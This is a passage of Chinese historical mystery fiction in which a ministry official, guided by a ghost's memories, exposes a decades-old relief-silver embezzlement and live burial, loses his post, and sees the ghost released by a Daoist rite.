学堂里传来朗朗书声,一眨眼,李慎元意识到自己坐在课程里随夫子摇头摆尾的念书,身边坐着的都是五六岁的孩子。 外面吵闹起来,孩子们坐不住,都跑去窗边观望,李慎元也跑去看,街上有很多穿着破破烂烂的人在吵。 “都回来坐好!”身后夫子的怒吼声完全被遮住了。 待放学回家,傅寅雪又坐在门口等。 但今天,他没有等到爹回家。 隔壁的六婶子带来了消息。 “傅家弟妹,傅家弟妹。” 他娘从屋里走出来,“六婶,怎么了。” “出事了,我们家四儿去衙门给孩子办户籍,看到你们家大昭被抓起来了。” “什么,怎么回事?” “我也不清楚,你快去看看吧。” 这天,傅寅雪没有吃上糖葫芦,也没吃到牛肉臊子面。 他和娘一起来了衙门大牢。 爹的上司赵大人说他偷了赈灾银,将他下狱。 傅寅雪和娘去牢里探望,娘拉着傅寅雪的手,绕过一个又一个弯道,才走到关押爹的牢房。爹安慰他们不要怕,他是清白的。 几天后,穿着官服的衙役来到他家,说他爹在狱中畏罪自杀了。 娘拉着她的手一步一步往前走。 傅寅雪问:”娘,我们去哪?“ ”去京城敲登闻鼓,为你爹讨回公道。“ “还要走多久啊。” 娘没有说话,他似乎听到她说,“会走到的。” 守城的士兵站在城门两侧盘查进出人口,他们似乎到了京城外,娘突然放开手,没头没尾的问:”阿雪,你能憋气多久?“ ”少半刻,怎么突然问这个,娘?“他看着娘脸上忧心忡忡的。 娘突然一笑,”你信不信娘能憋气一刻钟。“ ”我不信。“ ”那咱娘俩试试,你要是赢了,等进了城娘给你买一靶子糖葫芦。“ ”真的?!“ “真的。” 听了这话他乐滋滋沉到水里,憋了很久,感觉撑不住了,才从水里冒头。 等他从水里出来,水里,地上空无一人。 ”娘?娘——!“ 李慎元看着茫茫水面,空荡荡的。在傅寅雪的回忆里走一遭,一时分不清自己是刑部侍郎李慎元还是找不到母亲的傅寅雪。 原来傅寅雪是死去傅大昭的儿子。他当即意识到傅寅雪是在提醒他走陆路不安全,于是决定走水路上京。铁碗儿提议兵分两路,扰乱视线,便带着一行人化妆走了陆路,李慎元疯婆婆一行人趁夜走水路离开。 为防止沈家沿着水路追来,众人水路陆路交替着走,一个月后,在北水门码头上岸,脚下的土地就是京城了。 一月后,京城。 茶馆里坐满了喝茶的爷们。 戏台上,一个着官衣戴方翅纱帽剑眉髯口的人,正跪在着黄蟒袍戴王帽的人身前陈冤,罩着黑纱鬼魂在二人周围飘拂。 “这唱的哪一出戏,之前没怎么听过。” “这个月新写的,听说是真事儿改编的。” “什么稀奇事啊?” “你没听说?” “您二位,打什么哑谜呐?” “就是刑部李侍郎做了一个梦。” “做梦算什么稀奇事。” “这梦可不是什么好梦,他啊,梦见死人了。” “梦见他祖宗了?” “不是,说是十几年前死的人在他梦里喊冤,非要他做主。” “这多荒唐。” “更荒唐的还在后边,他醒了非说确有其事,要敲登闻鼓让圣上裁断。” “这不胡扯么!梦里的事哪有当真的,这李侍郎是不是疯了,头上乌纱帽不想要了?” “那这冤情到底是什么事啊?” “我三姨儿子的妻子娘家的妹妹的夫家小姑子的三叔在宫里当差,说得有鼻子有脸的。“说着凑近了,小声道,”说是楚苦县十八年前赈灾银的事。” ”那件事,当时不是说疫病死了很多人吗?“ “哎哟,十几年了再投胎也是个半大小子了,难道真有鬼魂执念不散盘桓世间十年,那得多大冤啊。” “就是说那些人不是得疫疾死的,”这人说着,还横着手在脖子前划拉一下,“是被当时的知县,现在的户部尚书赵锋让人生生活埋的。” ”什么?!这没谱的事儿可不敢胡说啊。“ “说起来这户部尚书两个月前确实无端毙命,凶手到现在也没找着,听说他死状奇惨,该不会真是恶鬼索命!” “您别说,这李侍郎梦着之后照着梦里人说的去当地查了,还真让他查出东西来了。” ”查出什么来了。“ ”尸体,满窟的尸体啊,都扭在一块,死了好多年,叫了人去验尸,竟然全是活生生埋在土里的。“ “还有那贪污人的名单,当年的人证拼死保下的血书,全让他挖出来了。” ”听说那侍郎本就通灵。“ ”真有这么邪门的事?“ “那上边怎么处理这事啊?” “上边啊,听说皇上和宁王有分歧。” ”宁王?宁王不是多年前就称病不上朝了吗?“ ”明面上是这样,背地里这些贵人的事儿谁知道呢?“ “圣上大怒,说子不语怪力乱神。宁王却力保要查,说证据都摆这了,不查让人寒心。” “这不是把圣上架在那了吗?” “可不是吗?” “那份血书,听说就是当年押解赈灾银的宁王府幕僚杜先生写的。” ”杜先生,那场天灾后不是说得了疫病死在任上了吗?难道也是......“ ”看来这里面猫腻多了去了。“ ”那后面怎么了?“ “后面啊......” 听到这,一个坐在隔壁两桌的人放下茶钱,压着帽子离开了。他雇了辆马车,半个时辰后,马车停下了,马车前方,正是刑部。这人摘下帽子,正是戏台下看客嘴里为鬼魂喊冤的刑部侍郎李慎元。 “要我等你吗?免得等下你被人扫地出门太难看。”马车夫五大三粗的,正是之前在黑市接过李慎元的老马。 “不用了,我知道你很忙。” “忙啥啊,你就是好面子。红姐让我跟你说,要是没地方去,就来我们这。”老马也不跟他多磨叽,驾着马走了,“回见。” 李慎元深吸一口气,走进了刑部。 如他所料,劈头盖脸挨了一顿骂。 “你可真有本事,我让你查赵尚书的案子,两个月了凶手影子都没摸着,你把人家受害者翻了个底朝天。” “把你安排到这个位置是你师父王捕快求来的,他说你办事利索,如今看来......把你的东西收一收,办移病退职吧。你哪来的回哪去,刑部庙小,容不下你你这尊大佛。” 李慎元看着他身后为民父母,视民如伤的牌匾,冷笑一声,不愿多话,转身离开了。 “你神气什么?你以为丢了刑部侍郎的官职你还算什么?敢这样无视本官!” “我什么也不算,哪比得上大人您,成了精的秃鹫,哪里有腐肉都要先去尝尝鲜。” “你!你你你......” 出了刑部大门,李慎元漫无目的地在街上走。这些年,他总是衙门,案发地,家,三点一线,很少这么悠闲走路,不知不觉就走到了宁王府外,宁王府的大门同往常一样紧闭。李慎元思绪回到一月前从北水门码头上岸后,他雇了马车打算回家,待回家修正一番再做打算,马车却将他带到宁王府,见到了宁王。 “李侍郎,别来无恙。” 李慎元的疑惑在见到宁王身边站着的人时,云消雾散了。那人正是前几日行水路时船上的一个船夫。 他把视线从那人身上收回,“一路上,有您的人护送,自然无恙。” 之前一直怀疑的事也清楚了,“原来杜景行是王爷的幕僚。“ 宁王看向疯婆婆,眼里满是愧疚,“景行的事,本王 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“来了。”对方一袭黑衣,戴着黑色帏帽,似乎有意遮掩身形。 李慎元在对面坐下,“柳姑娘,本应早来跟你道谢的,只是陈年旧案,证据繁杂散乱,花了些时间。” “不碍事,这几日我也事多,正好今天得闲。” 看了眼桌上的素菜,李慎元提议:“我知道城西巷子里有一家羊羹味道极鲜,我请你去那里围炉吃酒吧。” “没时间了,我要离开了。” “这么急。” “我公然演出禁戏,朝廷怎么会放过我?” “是我连累你了。” “我本就是无根之人,还能站上戏台,畅快得很。也不是单为帮你。在离开前,还能这么唱一回,我痛快极了。再说这种事儿,怎么少得了我。” 见对方毫无困扰之意,李慎元也不再扭捏,“够义气,我敬你。” “我听说案子已经彻查,嫌犯也都抓起来了。我唱得好,你做得也很好。李大人,我也敬你一杯。” 柳姑娘名为柳璞玉,原名柳如玉,她有股子傲气,觉得自己并非似玉如玉,根本就是一块璞玉,因此改了这名。她自小便跟着戏班子学艺,苦熬十数年,熬成了角,却因为得罪了不该得罪的人被赶出戏班子。世道艰难,时势弄人,终究令璞玉蒙尘。 他二人也因为这件事情认识。两年前,柳璞玉的师姐被在戏台上被达官贵人看中,邀去府里后,再不见踪影。一个大活人就这么凭空消失了,戏班班主却对此缄口不提,柳璞玉看不过,自己去闹,去官府告状,对方推三阻四,甚至反咬一口说她污蔑,要对她施以重刑。李慎元却坚信她说的是真的。 两人因案子相识,又同样嫉恶如仇,因此柳璞玉成了他为数不多的江湖朋友。 “李大人之后打算怎么办,听说你已在刑部去职。” “有一位之前认识的兄弟,邀我一起去做事,我打算先去那里看看。” “你是赤诚之人,在哪里都能扎根的。” 见柳璞玉带了不少行囊,李慎元问:“你呢,你打算去哪?” “唱了半辈子戏,打算看看戏台外的世界。我要游山玩水,快意江湖。” “好,那祝我们都得快活。”李慎元举杯一饮而尽。 “江湖再见,李兄。”柳璞玉放下酒杯,起身离开。 跟柳璞玉告别后,李慎元来到白云山白云观。上次来,山上郁郁葱葱,生机融融,这一回,树上不剩几片叶子了,李慎元抬头望天,觉得内心澄澈无扰,虚明如镜。 他循着豌豆黄的声音往山上走,在山崖边见到了守一道人。 “师父,京中大乱,徒儿要离开了,也许不再回来了。” 守一道人看了看身后的李慎元,“来去皆是缘,至真,看来你还是选择守住本心,这很难得。” 李慎元将傅寅雪从骨笛中放出,“他我不知如何安置,师父可有办法。” 豌豆黄绕着傅寅雪转了两圈,上次来一鬼一鸟闹得不愉快,这一回,豌豆黄只凑近闻了闻,咂摸了两下,便飞走了。 守一道人打量了傅寅雪一眼,道:“看来施主的事已了了。” 傅寅雪不再掩饰,笑得坦然,“什么都瞒不过道长。” “上次来,你身上浊气混沌不清,心思滞着,虚妄不实。如今看来,是扫除尘垢,明心见性了。” 掐指一算,守一道人问:“施主生前可有贴身之物。” “有一个长命锁,戴了许多年,后来生了变故,丢了。” “器物有灵,认主,即使不在你身边,也在保护你。症结就在这长命锁,想必它仍在某地助你度过关煞,保了你半条命。但彼时你已毫无生意,于是成魂游状。” 李慎元插嘴:“他的尸体埋在西山,要我现在去挖出来吗?” 傅寅雪道:“不必了,让我入土为安吧。” “施主既然已无挂碍,何不前去托生。” 守一道人搬出法坛,诵念救苦经,祈求太乙救苦天尊助他脱离苦难,超出三界。言闭,李慎元只觉得一阵风拂过,傅寅雪便消失了。他摩挲着骨笛,意识到这回傅寅雪是真的无影无踪了。 李慎元问:“他以后会去哪儿?” 守一道人道:“超然物外,无心之境。”